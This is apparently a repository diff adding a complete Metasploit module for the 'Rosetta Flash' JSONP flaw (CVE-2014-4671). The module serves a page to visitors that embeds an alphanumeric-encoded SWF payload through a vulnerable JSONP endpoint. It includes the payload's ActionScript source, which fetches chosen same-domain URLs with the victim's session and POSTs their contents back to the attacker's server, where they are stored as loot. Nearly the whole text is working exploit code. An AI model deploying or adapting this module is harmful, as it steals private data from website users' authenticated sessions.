|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'open-uri' |
| 8 | +require 'uri' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure', |
| 18 | + 'Description' => %q{ |
| 19 | + A website that serves a JSONP endpoint that accepts a custom alphanumeric |
| 20 | + callback of 1200 chars can be abused to serve an encoded swf payload that |
| 21 | + steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. |
| 22 | +
|
| 23 | + This module spins up a web server that, upon navigation from a user, attempts |
| 24 | + to abuse the specified JSONP endpoint URLs by stealing the response from |
| 25 | + GET requests to STEAL_URLS. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => [ |
| 29 | + 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure |
| 30 | + 'joev' # msf module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CVE', '2014-4671'], |
| 35 | + ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'], |
| 36 | + ['URL', 'https://github.com/mikispag/rosettaflash'], |
| 37 | + ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/'] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => 'Jul 8 2014', |
| 40 | + 'Actions' => [ [ 'WebServer' ] ], |
| 41 | + 'PassiveActions' => [ 'WebServer' ], |
| 42 | + 'DefaultAction' => 'WebServer')) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]), |
| 47 | + OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]), |
| 48 | + OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]), |
| 49 | + OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]), |
| 50 | + OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ]) |
| 51 | + ], |
| 52 | + self.class) |
| 53 | + end |
| 54 | + |
| 55 | + def run |
| 56 | + if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe |
| 57 | + raise "JSONP endpoint does not allow sufficiently long callback names." |
| 58 | + end |
| 59 | + |
| 60 | + unless datastore['URIPATH'] == '/' |
| 61 | + raise "URIPATH must be set to '/' to intercept crossdomain.xml request." |
| 62 | + end |
| 63 | + |
| 64 | + exploit |
| 65 | + end |
| 66 | + |
| 67 | + def check |
| 68 | + test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) |
| 69 | + io = open(exploit_url(test_string)) |
| 70 | + if io.read.start_with? test_string |
| 71 | + Msf::Exploit::CheckCode::Vulnerable |
| 72 | + else |
| 73 | + Msf::Exploit::CheckCode::Safe |
| 74 | + end |
| 75 | + end |
| 76 | + |
| 77 | + def on_request_uri(cli, request) |
| 78 | + vprint_status("Request '#{request.method} #{request.uri}'") |
| 79 | + if request.uri.end_with? 'crossdomain.xml' |
| 80 | + print_status "Responding to crossdomain request.." |
| 81 | + send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy') |
| 82 | + elsif request.uri.end_with? '.log' |
| 83 | + body = URI.decode(request.body) |
| 84 | + file = store_loot( |
| 85 | + "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response" |
| 86 | + ) |
| 87 | + url = body.lines.first.gsub(/.*?=/,'') |
| 88 | + print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}" |
| 89 | + print_good "Stored in #{file}" |
| 90 | + else |
| 91 | + print_status "Serving exploit HTML" |
| 92 | + send_response_html(cli, exploit_html) |
| 93 | + end |
| 94 | + end |
| 95 | + |
| 96 | + def exploit_url(data_payload) |
| 97 | + delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end |
| 98 | + "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}" |
| 99 | + end |
| 100 | + |
| 101 | + def exploit_html |
| 102 | + ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log') |
| 103 | + %Q| |
| 104 | + <!doctype html> |
| 105 | + <html> |
| 106 | + <body> |
| 107 | + <object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}" |
| 108 | + width=500 height=500> |
| 109 | + <param name="FlashVars" |
| 110 | + value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" /> |
| 111 | + </object> |
| 112 | + </body> |
| 113 | + </html> |
| 114 | + | |
| 115 | + end |
| 116 | + |
| 117 | + # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ |
| 118 | + # |
| 119 | + # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code: |
| 120 | + # |
| 121 | + # class X { |
| 122 | + # static var app : X; |
| 123 | + # |
| 124 | + # function getURL(url:String) { |
| 125 | + # var r:LoadVars = new LoadVars(); |
| 126 | + # r.onData = function(src:String) { |
| 127 | + # if (_root.exfiltrate) { |
| 128 | + # var w:LoadVars = new LoadVars(); |
| 129 | + # w.x = url+"\n"+src; |
| 130 | + # w.sendAndLoad(_root.exfiltrate, w, "POST"); |
| 131 | + # } |
| 132 | + # } |
| 133 | + # r.load(url, r, "GET"); |
| 134 | + # } |
| 135 | + # |
| 136 | + # function X(mc) { |
| 137 | + # if (_root.url) { |
| 138 | + # var urls:Array = _root.url.split(","); |
| 139 | + # for (var i in urls) { |
| 140 | + # getURL(urls[i]); |
| 141 | + # } |
| 142 | + # } |
| 143 | + # } |
| 144 | + # |
| 145 | + # // entry point |
| 146 | + # static function main(mc) { |
| 147 | + # app = new X(mc); |
| 148 | + # } |
| 149 | + # } |
| 150 | + # |
| 151 | + # |
| 152 | + # Compiling the .as using mtasc and swftool: |
| 153 | + # |
| 154 | + # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as |
| 155 | + # $ swfcombine -d out.swf -o out-uncompressed.swf |
| 156 | + # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf |
| 157 | + # |
| 158 | + def encoded_swf |
| 159 | + "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \ |
| 160 | + "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \ |
| 161 | + "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \ |
| 162 | + "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \ |
| 163 | + "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \ |
| 164 | + "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \ |
| 165 | + "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \ |
| 166 | + "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \ |
| 167 | + "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \ |
| 168 | + "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \ |
| 169 | + "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \ |
| 170 | + "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \ |
| 171 | + "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \ |
| 172 | + "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \ |
| 173 | + "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \ |
| 174 | + "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \ |
| 175 | + "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \ |
| 176 | + "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \ |
| 177 | + "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \ |
| 178 | + "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \ |
| 179 | + "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \ |
| 180 | + "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \ |
| 181 | + "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \ |
| 182 | + "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \ |
| 183 | + "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \ |
| 184 | + "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \ |
| 185 | + "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \ |
| 186 | + "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9" |
| 187 | + end |
| 188 | + |
| 189 | + def crossdomain_xml |
| 190 | + %Q| |
| 191 | + <?xml version="1.0" ?> |
| 192 | + <cross-domain-policy> |
| 193 | + <allow-access-from domain="*" /> |
| 194 | + </cross-domain-policy> |
| 195 | + | |
| 196 | + end |
| 197 | + |
| 198 | + def rhost |
| 199 | + URI.parse(datastore["JSONP_URL"]).host |
| 200 | + end |
| 201 | + |
| 202 | +end |
0 commit comments